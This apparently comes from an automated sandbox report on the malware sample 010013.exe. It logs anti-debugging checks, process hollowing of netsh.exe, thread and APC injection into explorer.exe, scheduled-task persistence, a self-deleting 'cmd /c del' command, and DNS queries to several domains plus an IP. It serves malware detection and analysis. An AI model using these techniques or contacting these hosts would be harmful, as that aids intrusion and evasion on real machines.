Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033ED5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033ED5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034061A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034061A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034035A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034569A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03401DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03401DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03401DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346C450 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03492073 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A1074 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A740D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03491C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F746D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457016 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F0050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F0050 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E849B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034914FB mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03456CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9080 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03453884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03453884 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034190AF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340F0BF mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\010013.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\netsh.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\010013.exe

Code function: 6_2_0040ACC0 LdrLoadDll,

Source: C:\Users\user\Desktop\010013.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.smithridge.net
Source: C:\Windows\explorer.exe	Domain query: www.lifestyleeve.com
Source: C:\Windows\explorer.exe	Domain query: www.myceliated.com
Source: C:\Windows\explorer.exe	Network Connect: 199.59.242.153 80

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\010013.exe

Section unmapped: C:\Windows\SysWOW64\netsh.exe base address: 9F0000

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\010013.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Desktop\010013.exe	Section loaded: unknown target: C:\Windows\SysWOW64\netsh.exe protection: execute and read and write
Source: C:\Users\user\Desktop\010013.exe	Section loaded: unknown target: C:\Windows\SysWOW64\netsh.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\010013.exe

Memory written: C:\Users\user\Desktop\010013.exe base: 400000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\010013.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\010013.exe	Thread register set: target process: 3424
Source: C:\Windows\SysWOW64\netsh.exe	Thread register set: target process: 3424

Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp'
Source: C:\Users\user\Desktop\010013.exe	Process created: C:\Users\user\Desktop\010013.exe C:\Users\user\Desktop\010013.exe
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\010013.exe'

Source: explorer.exe, 00000007.00000000.708597735.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000007.00000000.746404873.0000000001080000.00000002.00020000.sdmp, netsh.exe, 0000000A.00000002.947763870.0000000004840000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000007.00000000.719268649.0000000005E50000.00000004.00000001.sdmp, netsh.exe, 0000000A.00000002.947763870.0000000004840000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: 010013.exe	Binary or memory string: ProgMan
Source: explorer.exe, 00000007.00000000.746404873.0000000001080000.00000002.00020000.sdmp, netsh.exe, 0000000A.00000002.947763870.0000000004840000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: 010013.exe	Binary or memory string: ProgMan!SHELLDLL_DefVIew
Source: explorer.exe, 00000007.00000000.746404873.0000000001080000.00000002.00020000.sdmp, netsh.exe, 0000000A.00000002.947763870.0000000004840000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000007.00000000.755370394.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Users\user\Desktop\010013.exe VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
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Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\010013.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
